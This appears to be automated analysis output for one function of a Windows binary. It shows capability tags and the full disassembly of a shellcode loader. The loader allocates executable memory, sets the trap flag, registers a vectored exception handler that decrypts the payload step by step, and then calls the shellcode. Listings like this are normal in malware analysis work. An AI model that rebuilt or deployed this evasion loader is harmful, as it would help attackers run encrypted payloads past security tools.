Function at 0x140001220
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x530
mov rax, qword [0x140006010]
xor rax, rsp
mov qword [rsp + 0x520], rax
mov edx, 0x20c
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x14000133c
lea rdx, [0x140004400]
lea rcx, [rsp + 0x28]
call fcn.140001550
mov rsi, rax
mov qword [rsp + 0x20], rax
lea rdx, str._X__ERROR__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001670
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x1400012a0
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
mov rcx, rax
call fcn.1400020c0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str._failed_with_error_code:
mov rcx, rbx
call fcn.140001670
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x140001318
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x140001313
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140001335
mov rcx, r8
call fcn.14000253c
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov eax, 1
jmp 0x1400014c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov qword [0x1400068e0], rdi
add rax, 0x20c
mov qword [0x1400068d0], rax
mov edx, 0xffffff90
mov r8d, 0x20c
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
lea rsi, [rdi + 0x20]
mov rdx, rsi
lea rax, [0x140006050]
mov ecx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rdx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rcx, 1
jne 0x140001380
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
mov rcx, qword [rax + 0x40]
mov qword [rdx + 0x40], rcx
mov ecx, dword [rax + 0x48]
mov dword [rdx + 0x48], ecx
mov qword [0x1400068d8], rsi
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x80], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov qword [rsp + 0x98], rsi
mov rcx, qword [rsp + 0xc0]
and rcx, 0xfffffffffffcffff
or rcx, 1
mov qword [rsp + 0xc0], rcx
mov dword [rsp + 0x80], 0x100010
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
lea rdx, [0x1400018f0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
test rax, rax
je 0x1400014b1
lea rdx, str.Executing_the_payload_with_VEH_ASM_decryption..._This_may_take_a_while_depending_on_the_efficiency_of_the_shellcode...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001670
mov rcx, rax
lea rdx, [0x140001840]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call rsi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x520]
xor rcx, rsp
call fcn.140002290
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret